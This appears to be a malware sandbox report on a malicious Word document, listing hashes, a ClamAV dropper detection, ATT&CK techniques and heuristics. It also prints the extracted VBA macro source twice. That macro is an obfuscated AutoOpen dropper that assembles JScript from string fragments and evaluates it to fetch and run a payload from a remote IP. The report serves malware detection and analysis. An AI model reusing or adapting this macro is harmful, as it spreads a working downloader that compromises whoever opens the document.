Office (OLE) malware analysis — malicious · 99cb17337fa0ac0f

MALICIOUS

Office (OLE)

89.5 KB Created: 2016-09-05 22:43:00 Authoring application: Microsoft Office Word First seen: 2018-03-30

MD5: f4bc48b4d20dd64a5de3ed750938db3b SHA-1: ec6bb9a2383638af3a5181c1c2cf34961476a080 SHA-256: 99cb17337fa0ac0fbcc2b65c46ed52cdf93137821b732133783923c1121786fc

190 Risk Score

Malware Insights

MITRE ATT&CK

T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1203 Exploitation for Client Execution

The sample is identified as malicious by ClamAV with the signature 'Doc.Dropper.Agent-6459994-0'. Static analysis revealed the presence of VBA macros, including an AutoOpen macro, which utilizes the CreateObject function. This strongly suggests the macro is designed to execute a secondary payload, likely a downloader, which is a common technique for malware droppers.

Heuristics 7

ClamAV: Doc.Dropper.Agent-6459994-0 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Doc.Dropper.Agent-6459994-0
VBA macros detected medium 3 related findings OLE_VBA_MACROS

Document contains VBA macro code

CreateObject call high OLE_VBA_CREATEOBJ

CreateObject call

Matched line in script

yxodlevr = hticonn & qectu8 & uktalpyx2 & bqyxpaqw & wogjutj & asasuqo7 & osmubm9 & notu & gowhempe & wsebmiz & qhune & zbocyxt6 & ztoziqro & pipi9 & kpecveq9
Set nigkyc3 = CreateObject(yxodlevr)
ggunjeqemt nigkyc3, ohrele1

VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC

Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
AutoOpen macro low OLE_VBA_AUTOOPEN

AutoOpen macro
Matched line in script
```
Sub AutoOpen()
Dim ipetnitec
```
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC

OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
Embedded URL info EMBEDDED_URL

One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.

URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename Kind Source Size

macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 15534 bytes

Filename	Kind	Source	Size
`macros.bas`	vba-macro	oletools.olevba.extract_macros (decoded VBA source)	15534 bytes
SHA-256: `2a925526c0460a6559e16038bde784a948ee0ac4ce642c06c5d95efe32dec239`
Preview script First 1,000 lines of the extracted script Attribute VB_Name = "ThisDocument" Attribute VB_Base = "1Normal.ThisDocument" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = True Attribute VB_Customizable = True Sub ggunjeqemt(znurivg, vapvaclizy0) znurivg.Language = vapvaclizy0 End Sub Sub tatescod(obabhal, qikifretsy9) obabhal.Eval qikifretsy9 'roughness underpricing glorious london evacuee patois End Sub Sub AutoOpen() Dim ipetnitec Dim pojune Dim zbyprut, unvibec2, pumywku3, defnacnu, ifhaxkafwi6, dinhazjoc0, emifjehb, exjiha, enodqacq9, kamexk, ypziwjond8, fjejbyzxopxu0, uzybogrymb, mpupucjy9, oranru, ofnetza4 Dim fjopgysvyw4 Dim mdojcopatd8 'squash abysses predilection minds unlabelled wiles interviewer Dim vgobqahy, vevuwusdy, rehyty, muzvozig3, idynniq8, uslurwuff7, upixxyfcod4, joqtyf, kpezpewqyf7, ebohve Dim ircanep, icxeragvob5, jbuwozqel, ukcivdykyg0, stamiszake1, efqitza, anzasim3, efuddon, dmohann, xopilse8 Dim qgigfuld Dim fakvuzdajba, anybvi8, ewpisutw, kakavce4, acunge0, uwgesisab9, syxhekm8, yqitubi, qdottos, anewzehe, xpilqug, lbyfivgy Dim ydbotgynsoxr4, otxidgidk, ktakyls1, ohbytty, ejzupxewa8, omwimowni1, udimvuz8, vrubluvlabp8, xehdakukky, lurug0, knipebk, dwachomeqd0, tzorpihedb7 Dim owbujevoq Dim enopa 'intimidated captures doctoral mountaineering cheep vetoing armless Dim mullacyt4 Dim yzzunipe Dim nrosimop6, unviwu2, ygbepvowig1, fufyfgu0, acxyxafd, dkicenolu0, ejriho, bosigxaly, faghugudu, yzpohehi9, abvidpe8, ttajkyno, azpogide7, tetyh4, ycuzalr8, uhlyholu8 Dim uzewqyv Dim qosan, lzusfysuhme7, zkiniwc, cwufgona, okogixqe5, jowalhuq1, wkadpenv9, egjajfany, evynvu, xkatifrej8, zyzbuq2, rqufolmu, mwitsirqyhh3, etukruzc, yvfoxivy Dim ufbodob5 'luxuriously scripts rue foreland dipsomaniac multifunction drained sink Dim xxawaqpawe Dim fcavyg7 Dim vzuvfupx4, ladnultan, oqyto, ifipytavp, uftucenqi1, umzizzizga5, linonuj, gmammygveta5, vcymsuzmovlu, ubxibfo Dim zenlyqc4 Dim upaco, arazojtak9, nirsisosg0, emhugi7, omyjonxucm2, lmirahu1, vuzxiloki, ebhiprodk9, yniwi, myrjifkoge7 'calumniate consideration snagged asperity elitism discontinuous fops climber Dim bicyd Dim zosyc0 Dim esejto4, heclah1, iracpy0, jlazomhaze0, nzunxot, nlinzyqv, harbeqaz, tvijjowi, zsaseti0, ulexguhfytp4 Dim mulvywe Dim frivyfy8, eqlimpivno, ylwejo, achuzo, ukwipkezle5, qmymuc, qufepkovv5, syjoj, cnudhym, mufteqre, yqnare, zlixcunn Dim cubpymmuj, yjazpu0, lexfupxazo, yrygfo0, cxupexd, ydylilpohd4, xywartysj, bcobofy, sewfenacjy3, atnacoqa, mdalwudypa0, atafu3, jaxluk, sfyhcevc, bifvuc6 'jurisprudence denuded ledger stunting insertions Dim ywono2, exhoku, ofsyca4, ugfetbok7, nebhuxn0, nvysbyboba2, ukyxawepr, secox2, fabbytnori9, olzimban8, ektukecy, reparxu, xyzcebetba8 Dim dewsyk Dim lzactebevdy Dim rehwofg, jvinihsygy8, uhjuwvann, bazax7, dwicbesj2, linpeg6, aqhygtenymn8, tnansydte8, klamajihh8, ajuby3, zufitoja, bwazcybizz Dim erwaqlavre, umydpapvi0, ridpinx6, imdogagr, kwowrohl, sqenovar6, tvujhunzon, neqryxy7, leqxozca1, mytjyda6 'shreds tossing chain abhor tshirt optician percussively microelectronic Dim ljixdyv7, tofsuve, komownov6, kquvekew0, esjictik8, elgirma, optezore, ivity9, oqdoxog, eqzivkojvo7, yfsywuz0 Dim inoqagg Dim aqesizi, bobzokfobci, pisyhcuhu3, iwvacymmi, byddybinby, gawlozf2, ifcecosow8, gxojnetqoz, ijqakxogz Dim fqyxsijvivx1, ajyjah0, xtexudodo, lhucdyh, dmadipkap, yfvydbawx0, osyqmyg, bennisvikha7, amoxnabkuj, akyqbevho Dim axiwxu0 'beady reduces topography ploughers neutraliser irks raiding coloure Dim trymogtaby, ytezurdad8, yjpidiqvu, estivsuxni, rxohnogefa, sbugzujv, givaduqba5, ltediwm, yforcawyv6, bjoncywm5, apocop2, fbipmezveqda, wmexmypceb0, ilkoxaqno, ubupdy Dim qgohhylwopd Dim itdyvvigqovc Dim aqifpohhot Dim fgyhyh Dim ixumxa9 Dim umsanco Dim unihenge2 'undertaking disallows controller compiler font gust taped nicety suburbanites Dim fnefceviqd, qxopowe7, kcybfop, gowhempe, urawqyvz, notu, ohrele1, uktalpyx2, yxodlevr, esxyvbyrbo, osmubm9, qhune, asasuqo7 Dim acsavx7 Dim wsebmiz, ycfudzar, ztoziqro, pipi9, qectu8, hticonn, zbocyxt6, kpecveq9, bqyxpaqw dmohann = "e " zsaseti0 = "Ob" yzzunipe = "DO" icxeragvob5 = "= " 'cycads hospitals sociologists wheelbarrow outlaws meshes sqenovar6 = "m." bosigxaly = ");" dkicenolu0 = ");" jbuwozqel = "re" ubupdy = "st" tvijjowi = "tm" jowalhuq1 = "0;" gmammygveta5 = "2)" umsanco = ");" 'reflexivity incentives writings reactivate rotatory olzimban8 = ".O" eqzivkojvo7 = "Sy" zlixcunn = "TT" syxhekm8 = "at" bifvuc6 = " A" atnacoqa = "p:" enodqacq9 = "se" efqitza = "ss" etukruzc = "th" 'republished lumpiest disgorging ambler gallantry shoveller lhucdyh = "tT" lexfupxazo = "re" uzybogrymb = ".8" zkiniwc = "st" omwimowni1 = "h " 'chilly democracy unselfconscious scintillation remount ubxibfo = "ve" uzewqyv = "av" kpezpewqyf7 = "am" fjejbyzxopxu0 = "= " kakavce4 = "( " lzactebevdy = "//" xtexudodo = "; " 'windmills palettes megaparsec spelt fisticuffs foregrounds resubmits upaco = "Ob" sfyhcevc = "it" qmymuc = " 0" wmexmypceb0 = "ct" upixxyfcod4 = "2." esjictik8 = "r " fcavyg7 = "of" myrjifkoge7 = "g." ejzupxewa8 = "sp" 'stamping disqualification chunks grandma archaeologist carpeted storeroom punchlines presentations vuzxiloki = "ar" anybvi8 = "ec" acxyxafd = " a" linonuj = "DB" ulexguhfytp4 = "Wr" vgobqahy = " +" 'reflection sesame lonesome reconsiders reached backsides quadrupling fbipmezveqda = " (" yjpidiqvu = "Bo" nzunxot = "p_" exjiha = "am" inoqagg = "80" tofsuve = " A" 'obloquy couching abusiveness concordat backdated peeking aromatherapy convulsively arcaneness komownov6 = "re" lbyfivgy = " n" givaduqba5 = "ri" qosan = "in" yrygfo0 = "m""" 'promulgation crocodiles myelin patch gravitation ycuzalr8 = "md" xpilqug = "WS" umydpapvi0 = "al" ixumxa9 = "il" dewsyk = "ea" imdogagr = """h" 'beverages exercises welldeveloped sagged adoption solemnities brokenly frivyfy8 = "va" uftucenqi1 = "ct" oqdoxog = "_p" yqnare = "pa" evynvu = "el" bwazcybizz = " v" mdojcopatd8 = "sh" fufyfgu0 = "ti" mpupucjy9 = ");" 'engraves loquacity corrective immobilise high indicators floridly leftist mufteqre = "ip" exhoku = "P""" yfsywuz0 = "io" ebhiprodk9 = "= " neqryxy7 = "un" xxawaqpawe = "Ac" ydylilpohd4 = "ld" otxidgidk = " =" zenlyqc4 = "; " 'gangplank programs fuddles articles disingenuous transitional fairing logically homophobic atafu3 = "st" dmadipkap = "t." ivity9 = "GE" ifhaxkafwi6 = "e(" ifcecosow8 = ", " nvysbyboba2 = "dr" ygbepvowig1 = "l " optezore = "le" ijqakxogz = "Ge" 'oxidants visiting poker brusquely bugle snuggles hothouses nineteen parlourmaid rehyty = "tt" kwowrohl = "oF" vevuwusdy = "je" efuddon = "am" elgirma = "am" jlazomhaze0 = "va" 'prettiest alerted undisturbed fuse absentminded soma mwitsirqyhh3 = "p_" tetyh4 = "nd" qgohhylwopd = "l." umzizzizga5 = "ad" pumywku3 = ", " 'magnet hospice uncomplaining mealtime chiral aborting fewness aqesizi = ".P" apocop2 = "as" yniwi = "s." bcobofy = "T""" ipetnitec = "t " tvujhunzon = "je" xywartysj = "Ge" 'ameliorate confections swordsmen delving posted precognition fibrous malevolent karma bobzokfobci = "em" kcybfop = "as" ugfetbok7 = "fs" knipebk = "n " oranru = " """ ktakyls1 = "ne" mulvywe = "am" cubpymmuj = "on" 'ostentatious fermions furiously registers encapsulating epithetic infelicitously canonic disruptive rxohnogefa = "em" itdyvvigqovc = ".S" unviwu2 = "re" ytezurdad8 = ");" fnefceviqd = "tm" iwvacymmi = "pt" tnansydte8 = ".C" estivsuxni = "cr" 'checkers lookingglasses floodlight thorniest clumping coordinated cheeky muzvozig3 = "lo" erwaqlavre = "it" vcymsuzmovlu = "XM" gxojnetqoz = ".e" udimvuz8 = "o " reparxu = "s." 'superlative bejewelled graced springiest homonyms apron ridpinx6 = " /" stamiszake1 = "eX" jvinihsygy8 = "ct" lurug0 = "XO" cnudhym = "fs" yqitubi = "st" fqyxsijvivx1 = """," idynniq8 = "je" ljixdyv7 = "r " 'reagent clansmen mealies unreachable interrelationship bennisvikha7 = "tr" anewzehe = "ti" yjazpu0 = "er" uhjuwvann = "1;" ajyjah0 = "xe" 'dingo downpipes ramp tramcars wrappings egjajfany = ";v" ektukecy = "= " bazax7 = "md" esejto4 = "n(" achuzo = " n" rehwofg = "ci" 'costarred disgorging bereaving peddlers labile bjoncywm5 = "iv" bicyd = "Ob" rqufolmu = "se" qgigfuld = ";s" ajuby3 = "Fo" uhlyholu8 = "lo" ofsyca4 = "r " iracpy0 = "ru" 'reincarnations sighed chimp gawpin tubs borrow preamp acidly disconnected enopa = "eX" sewfenacjy3 = "(""" akyqbevho = "as" aqifpohhot = "pa" ukyxawepr = "= " syjoj = "0)" 'recriminate percussion labourers alcoholics rusted linesmen paramagnetic boycotted mounting ircanep = "mp" ladnultan = "st" zbyprut = "se" gawlozf2 = "fs" faghugudu = " =" defnacnu = "re" uwgesisab9 = "t." 'disarms palatinate antiquary repeaters gauges requite clearances ebohve = "os" qufepkovv5 = "l""" yvfoxivy = ".6" unvibec2 = "iv" lzusfysuhme7 = "e(" xehdakukky = "\\" leqxozca1 = ".e" 'pensive toed skirmishing rhythmical naturalism osyqmyg = "va" ilkoxaqno = " c" ejriho = "re" xyzcebetba8 = """A" yzpohehi9 = "st" harbeqaz = "o." dinhazjoc0 = "n " anzasim3 = "ne" yforcawyv6 = "(""" 'operas investigating weds coxing accusals oaks fastness fgyhyh = "bj" axiwxu0 = "XO" mullacyt4 = "ar" amoxnabkuj = "sh" secox2 = ");" omyjonxucm2 = "ea" nebhuxn0 = "ru" zufitoja = "w " 'clucked heterodoxy mythic micturition photographs truncheon dwicbesj2 = "ec" dwachomeqd0 = "ew" nrosimop6 = "s." ydbotgynsoxr4 = """)" nirsisosg0 = "()" yfvydbawx0 = "pe" vzuvfupx4 = "t " mdalwudypa0 = "bj" 'hypotheses unsureness rattlesnake wondrous purgatory kamexk = ");" heclah1 = "cm" aqhygtenymn8 = "th" oqyto = "ct" ohbytty = "ew" acunge0 = "e(" uslurwuff7 = "yp" 'jobless overwrite jeweller spurn drippy vrubluvlabp8 = """ " tzorpihedb7 = """ " emhugi7 = ".S" wkadpenv9 = "+ " zosyc0 = "st" ylwejo = "tr" zyzbuq2 = "el" joqtyf = "n(" 'adorn wavebands wineskin planktonic precious multilevel tunefully pojune = "(""" ofnetza4 = "ar" qdottos = "pe" linpeg6 = "op" qxopowe7 = "tS" ifipytavp = "xe" xkatifrej8 = "os" 'wrathful tailormade england gall nomadic fakvuzdajba = "ct" sbugzujv = "c " byddybinby = "4/" ewpisutw = "am" fjopgysvyw4 = "Fi" abvidpe8 = "dy" 'codex degauss imploded miscellanies prospectuses revisable ptolemy wounded trymogtaby = "Ac" klamajihh8 = "LH" mytjyda6 = "o." xopilse8 = "cr" fabbytnori9 = ";v" emifjehb = "+ " okogixqe5 = "eT" jaxluk = "en" 'freaked matadors billion monastic dials amiably legalism aware pisyhcuhu3 = "ve" lmirahu1 = "Sh" nlinzyqv = "el" ypziwjond8 = "Re" unihenge2 = "Mi" ufbodob5 = """c" ukcivdykyg0 = "w " 'tabbing sterilised liaison unredeemed episodic buttercup ywono2 = "64" cxupexd = ".T" ttajkyno = " t" ltediwm = "am" eqlimpivno = "pN" azpogide7 = "= " owbujevoq = "Sc" kquvekew0 = "(""" cwufgona = "()" 'mussel unfortunately lacerate allied nun cornerstone arazojtak9 = ");" acsavx7 = "ip" osmubm9 = "ro" uktalpyx2 = "ri" hticonn = "MS" asasuqo7 = "nt" wogjutj = "Co" 'unreproducible pomade ambuscades teat intrudes peeled pavlov pipi9 = "ro" qectu8 = "Sc" ycfudzar = "cr" zbocyxt6 = "Co" qhune = "pt" 'sniffling admonish acanthus accretion neutraliser annualised pedology ztoziqro = "nt" wsebmiz = "ri" kpecveq9 = "l" notu = "l." gowhempe = "Sc" urawqyvz = "JS" bqyxpaqw = "pt" esxyvbyrbo = "t" 'chemiluminescence legacy gnashes crimes bucolic ukwipkezle5 = jlazomhaze0 & ofsyca4 & amoxnabkuj & evynvu & ygbepvowig1 & ektukecy & ktakyls1 & ukcivdykyg0 & trymogtaby & fufyfgu0 & pisyhcuhu3 & axiwxu0 & mdalwudypa0 & anybvi8 & vzuvfupx4 & kquvekew0 & xpilqug & xopilse8 & mufteqre ukwipkezle5 = ukwipkezle5 & dmadipkap & lmirahu1 & zyzbuq2 & qufepkovv5 & mpupucjy9 & osyqmyg & ljixdyv7 & gawlozf2 & udimvuz8 & icxeragvob5 & anzasim3 & zufitoja & xxawaqpawe & anewzehe & ubxibfo & lurug0 & fgyhyh & dwicbesj2 & ipetnitec ukwipkezle5 = ukwipkezle5 & pojune & owbujevoq & givaduqba5 & iwvacymmi & qosan & myrjifkoge7 & fjopgysvyw4 & optezore & eqzivkojvo7 & zkiniwc & bobzokfobci & upaco & vevuwusdy & fakvuzdajba & ydbotgynsoxr4 & egjajfany & mullacyt4 & ttajkyno & ircanep ukwipkezle5 = ukwipkezle5 & oqdoxog & syxhekm8 & omwimowni1 & ebhiprodk9 & ugfetbok7 & harbeqaz & ijqakxogz & qxopowe7 & qdottos & rehwofg & umydpapvi0 & ajuby3 & ydylilpohd4 & yjazpu0 & kakavce4 & gmammygveta5 & vgobqahy & oranru & xehdakukky ukwipkezle5 = ukwipkezle5 & tzorpihedb7 & emifjehb & cnudhym & mytjyda6 & xywartysj & lhucdyh & rxohnogefa & eqlimpivno & ewpisutw & acunge0 & secox2 & frivyfy8 & esjictik8 & ladnultan & lexfupxazo & efuddon & otxidgidk & achuzo & ohbytty 'pajamas yesterday maimings poleward gunfight ukwipkezle5 = ukwipkezle5 & tofsuve & oqyto & bjoncywm5 & enopa & bicyd & tvujhunzon & wmexmypceb0 & fbipmezveqda & xyzcebetba8 & yzzunipe & linonuj & emhugi7 & bennisvikha7 & dewsyk & yrygfo0 & kamexk & yqitubi & komownov6 & ltediwm ukwipkezle5 = ukwipkezle5 & olzimban8 & yfvydbawx0 & esejto4 & umsanco & zosyc0 & defnacnu & exjiha & cxupexd & uslurwuff7 & dmohann & azpogide7 & uhjuwvann & ubupdy & ejriho & elgirma & aqesizi & xkatifrej8 & erwaqlavre & yfsywuz0 ukwipkezle5 = ukwipkezle5 & knipebk & ukyxawepr & jowalhuq1 & bwazcybizz & ofnetza4 & acxyxafd & efqitza & faghugudu & lbyfivgy & dwachomeqd0 & bifvuc6 & uftucenqi1 & unvibec2 & stamiszake1 & zsaseti0 & idynniq8 & jvinihsygy8 & yforcawyv6 & unihenge2 ukwipkezle5 = ukwipkezle5 & estivsuxni & ebohve & fcavyg7 & uwgesisab9 & vcymsuzmovlu & klamajihh8 & zlixcunn & exhoku & dkicenolu0 & kcybfop & yniwi & linpeg6 & jaxluk & sewfenacjy3 & ivity9 & bcobofy & pumywku3 & imdogagr & rehyty ukwipkezle5 = ukwipkezle5 & atnacoqa & lzactebevdy & inoqagg & uzybogrymb & upixxyfcod4 & ywono2 & yvfoxivy & byddybinby & muzvozig3 & umzizzizga5 & gxojnetqoz & ifipytavp & fqyxsijvivx1 & qmymuc & bosigxaly & apocop2 & nrosimop6 & enodqacq9 & tetyh4 ukwipkezle5 = ukwipkezle5 & nirsisosg0 & qgigfuld & ylwejo & omyjonxucm2 & sqenovar6 & ulexguhfytp4 & sfyhcevc & ifhaxkafwi6 & akyqbevho & reparxu & ypziwjond8 & ejzupxewa8 & cubpymmuj & rqufolmu & yjpidiqvu & abvidpe8 & arazojtak9 & atafu3 & unviwu2 ukwipkezle5 = ukwipkezle5 & mulvywe & itdyvvigqovc & uzewqyv & okogixqe5 & kwowrohl & ixumxa9 & lzusfysuhme7 & tvijjowi & mwitsirqyhh3 & aqifpohhot & etukruzc & ytezurdad8 & yzpohehi9 & jbuwozqel & kpezpewqyf7 & tnansydte8 & uhlyholu8 & zbyprut & cwufgona ukwipkezle5 = ukwipkezle5 & fabbytnori9 & vuzxiloki & ilkoxaqno & ycuzalr8 & iracpy0 & dinhazjoc0 & fjejbyzxopxu0 & ufbodob5 & bazax7 & leqxozca1 & ajyjah0 & ridpinx6 & sbugzujv & vrubluvlabp8 & wkadpenv9 & fnefceviqd & nzunxot & yqnare & aqhygtenymn8 'jurisdictions abyss bold irritation duckbilled naturalise submerged ukwipkezle5 = ukwipkezle5 & xtexudodo & mdojcopatd8 & nlinzyqv & qgohhylwopd & nebhuxn0 & joqtyf & heclah1 & nvysbyboba2 & neqryxy7 & ifcecosow8 & syjoj & zenlyqc4 ohrele1 = urawqyvz & ycfudzar & acsavx7 & esxyvbyrbo yxodlevr = hticonn & qectu8 & uktalpyx2 & bqyxpaqw & wogjutj & asasuqo7 & osmubm9 & notu & gowhempe & wsebmiz & qhune & zbocyxt6 & ztoziqro & pipi9 & kpecveq9 Set nigkyc3 = CreateObject(yxodlevr) ggunjeqemt nigkyc3, ohrele1 tatescod nigkyc3, ukwipkezle5 'excitingly checkouts esquires faroff debasement panaceas ambling ballbearings End Sub

SHA-256: 2a925526c0460a6559e16038bde784a948ee0ac4ce642c06c5d95efe32dec239

Preview script

First 1,000 lines of the extracted script

Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub ggunjeqemt(znurivg, vapvaclizy0)
znurivg.Language = vapvaclizy0
End Sub
        
Sub tatescod(obabhal, qikifretsy9)
obabhal.Eval qikifretsy9
'roughness underpricing glorious london evacuee patois
End Sub
        
Sub AutoOpen()
Dim ipetnitec
Dim pojune
Dim zbyprut, unvibec2, pumywku3, defnacnu, ifhaxkafwi6, dinhazjoc0, emifjehb, exjiha, enodqacq9, kamexk, ypziwjond8, fjejbyzxopxu0, uzybogrymb, mpupucjy9, oranru, ofnetza4
Dim fjopgysvyw4
Dim mdojcopatd8
'squash abysses predilection minds unlabelled wiles interviewer
Dim vgobqahy, vevuwusdy, rehyty, muzvozig3, idynniq8, uslurwuff7, upixxyfcod4, joqtyf, kpezpewqyf7, ebohve
Dim ircanep, icxeragvob5, jbuwozqel, ukcivdykyg0, stamiszake1, efqitza, anzasim3, efuddon, dmohann, xopilse8
Dim qgigfuld
Dim fakvuzdajba, anybvi8, ewpisutw, kakavce4, acunge0, uwgesisab9, syxhekm8, yqitubi, qdottos, anewzehe, xpilqug, lbyfivgy
Dim ydbotgynsoxr4, otxidgidk, ktakyls1, ohbytty, ejzupxewa8, omwimowni1, udimvuz8, vrubluvlabp8, xehdakukky, lurug0, knipebk, dwachomeqd0, tzorpihedb7
Dim owbujevoq
Dim enopa
'intimidated captures doctoral mountaineering cheep vetoing armless
Dim mullacyt4
Dim yzzunipe
Dim nrosimop6, unviwu2, ygbepvowig1, fufyfgu0, acxyxafd, dkicenolu0, ejriho, bosigxaly, faghugudu, yzpohehi9, abvidpe8, ttajkyno, azpogide7, tetyh4, ycuzalr8, uhlyholu8
Dim uzewqyv
Dim qosan, lzusfysuhme7, zkiniwc, cwufgona, okogixqe5, jowalhuq1, wkadpenv9, egjajfany, evynvu, xkatifrej8, zyzbuq2, rqufolmu, mwitsirqyhh3, etukruzc, yvfoxivy
Dim ufbodob5
'luxuriously scripts rue foreland dipsomaniac multifunction drained sink
Dim xxawaqpawe
Dim fcavyg7
Dim vzuvfupx4, ladnultan, oqyto, ifipytavp, uftucenqi1, umzizzizga5, linonuj, gmammygveta5, vcymsuzmovlu, ubxibfo
Dim zenlyqc4
Dim upaco, arazojtak9, nirsisosg0, emhugi7, omyjonxucm2, lmirahu1, vuzxiloki, ebhiprodk9, yniwi, myrjifkoge7
'calumniate consideration snagged asperity elitism discontinuous fops climber
Dim bicyd
Dim zosyc0
Dim esejto4, heclah1, iracpy0, jlazomhaze0, nzunxot, nlinzyqv, harbeqaz, tvijjowi, zsaseti0, ulexguhfytp4
Dim mulvywe
Dim frivyfy8, eqlimpivno, ylwejo, achuzo, ukwipkezle5, qmymuc, qufepkovv5, syjoj, cnudhym, mufteqre, yqnare, zlixcunn
Dim cubpymmuj, yjazpu0, lexfupxazo, yrygfo0, cxupexd, ydylilpohd4, xywartysj, bcobofy, sewfenacjy3, atnacoqa, mdalwudypa0, atafu3, jaxluk, sfyhcevc, bifvuc6
'jurisprudence denuded ledger stunting insertions
Dim ywono2, exhoku, ofsyca4, ugfetbok7, nebhuxn0, nvysbyboba2, ukyxawepr, secox2, fabbytnori9, olzimban8, ektukecy, reparxu, xyzcebetba8
Dim dewsyk
Dim lzactebevdy
Dim rehwofg, jvinihsygy8, uhjuwvann, bazax7, dwicbesj2, linpeg6, aqhygtenymn8, tnansydte8, klamajihh8, ajuby3, zufitoja, bwazcybizz
Dim erwaqlavre, umydpapvi0, ridpinx6, imdogagr, kwowrohl, sqenovar6, tvujhunzon, neqryxy7, leqxozca1, mytjyda6
'shreds tossing chain abhor tshirt optician percussively microelectronic
Dim ljixdyv7, tofsuve, komownov6, kquvekew0, esjictik8, elgirma, optezore, ivity9, oqdoxog, eqzivkojvo7, yfsywuz0
Dim inoqagg
Dim aqesizi, bobzokfobci, pisyhcuhu3, iwvacymmi, byddybinby, gawlozf2, ifcecosow8, gxojnetqoz, ijqakxogz
Dim fqyxsijvivx1, ajyjah0, xtexudodo, lhucdyh, dmadipkap, yfvydbawx0, osyqmyg, bennisvikha7, amoxnabkuj, akyqbevho
Dim axiwxu0
'beady reduces topography ploughers neutraliser irks raiding coloure
Dim trymogtaby, ytezurdad8, yjpidiqvu, estivsuxni, rxohnogefa, sbugzujv, givaduqba5, ltediwm, yforcawyv6, bjoncywm5, apocop2, fbipmezveqda, wmexmypceb0, ilkoxaqno, ubupdy
Dim qgohhylwopd
Dim itdyvvigqovc
Dim aqifpohhot
Dim fgyhyh
Dim ixumxa9
Dim umsanco
Dim unihenge2
'undertaking disallows controller compiler font gust taped nicety suburbanites
Dim fnefceviqd, qxopowe7, kcybfop, gowhempe, urawqyvz, notu, ohrele1, uktalpyx2, yxodlevr, esxyvbyrbo, osmubm9, qhune, asasuqo7
Dim acsavx7
Dim wsebmiz, ycfudzar, ztoziqro, pipi9, qectu8, hticonn, zbocyxt6, kpecveq9, bqyxpaqw
dmohann = "e "
zsaseti0 = "Ob"
yzzunipe = "DO"
icxeragvob5 = "= "
'cycads hospitals sociologists wheelbarrow outlaws meshes
sqenovar6 = "m."
bosigxaly = ");"
dkicenolu0 = ");"
jbuwozqel = "re"
ubupdy = "st"
tvijjowi = "tm"
jowalhuq1 = "0;"
gmammygveta5 = "2)"
umsanco = ");"
'reflexivity incentives writings reactivate rotatory
olzimban8 = ".O"
eqzivkojvo7 = "Sy"
zlixcunn = "TT"
syxhekm8 = "at"
bifvuc6 = " A"
atnacoqa = "p:"
enodqacq9 = "se"
efqitza = "ss"
etukruzc = "th"
'republished lumpiest disgorging ambler gallantry shoveller
lhucdyh = "tT"
lexfupxazo = "re"
uzybogrymb = ".8"
zkiniwc = "st"
omwimowni1 = "h "
'chilly democracy unselfconscious scintillation remount
ubxibfo = "ve"
uzewqyv = "av"
kpezpewqyf7 = "am"
fjejbyzxopxu0 = "= "
kakavce4 = "( "
lzactebevdy = "//"
xtexudodo = "; "
'windmills palettes megaparsec spelt fisticuffs foregrounds resubmits
upaco = "Ob"
sfyhcevc = "it"
qmymuc = " 0"
wmexmypceb0 = "ct"
upixxyfcod4 = "2."
esjictik8 = "r "
fcavyg7 = "of"
myrjifkoge7 = "g."
ejzupxewa8 = "sp"
'stamping disqualification chunks grandma archaeologist carpeted storeroom punchlines presentations
vuzxiloki = "ar"
anybvi8 = "ec"
acxyxafd = " a"
linonuj = "DB"
ulexguhfytp4 = "Wr"
vgobqahy = " +"
'reflection sesame lonesome reconsiders reached backsides quadrupling
fbipmezveqda = " ("
yjpidiqvu = "Bo"
nzunxot = "p_"
exjiha = "am"
inoqagg = "80"
tofsuve = " A"
'obloquy couching abusiveness concordat backdated peeking aromatherapy convulsively arcaneness
komownov6 = "re"
lbyfivgy = " n"
givaduqba5 = "ri"
qosan = "in"
yrygfo0 = "m"""
'promulgation crocodiles myelin patch gravitation
ycuzalr8 = "md"
xpilqug = "WS"
umydpapvi0 = "al"
ixumxa9 = "il"
dewsyk = "ea"
imdogagr = """h"
'beverages exercises welldeveloped sagged adoption solemnities brokenly
frivyfy8 = "va"
uftucenqi1 = "ct"
oqdoxog = "_p"
yqnare = "pa"
evynvu = "el"
bwazcybizz = " v"
mdojcopatd8 = "sh"
fufyfgu0 = "ti"
mpupucjy9 = ");"
'engraves loquacity corrective immobilise high indicators floridly leftist
mufteqre = "ip"
exhoku = "P"""
yfsywuz0 = "io"
ebhiprodk9 = "= "
neqryxy7 = "un"
xxawaqpawe = "Ac"
ydylilpohd4 = "ld"
otxidgidk = " ="
zenlyqc4 = "; "
'gangplank programs fuddles articles disingenuous transitional fairing logically homophobic
atafu3 = "st"
dmadipkap = "t."
ivity9 = "GE"
ifhaxkafwi6 = "e("
ifcecosow8 = ", "
nvysbyboba2 = "dr"
ygbepvowig1 = "l "
optezore = "le"
ijqakxogz = "Ge"
'oxidants visiting poker brusquely bugle snuggles hothouses nineteen parlourmaid
rehyty = "tt"
kwowrohl = "oF"
vevuwusdy = "je"
efuddon = "am"
elgirma = "am"
jlazomhaze0 = "va"
'prettiest alerted undisturbed fuse absentminded soma
mwitsirqyhh3 = "p_"
tetyh4 = "nd"
qgohhylwopd = "l."
umzizzizga5 = "ad"
pumywku3 = ", "
'magnet hospice uncomplaining mealtime chiral aborting fewness
aqesizi = ".P"
apocop2 = "as"
yniwi = "s."
bcobofy = "T"""
ipetnitec = "t "
tvujhunzon = "je"
xywartysj = "Ge"
'ameliorate confections swordsmen delving posted precognition fibrous malevolent karma
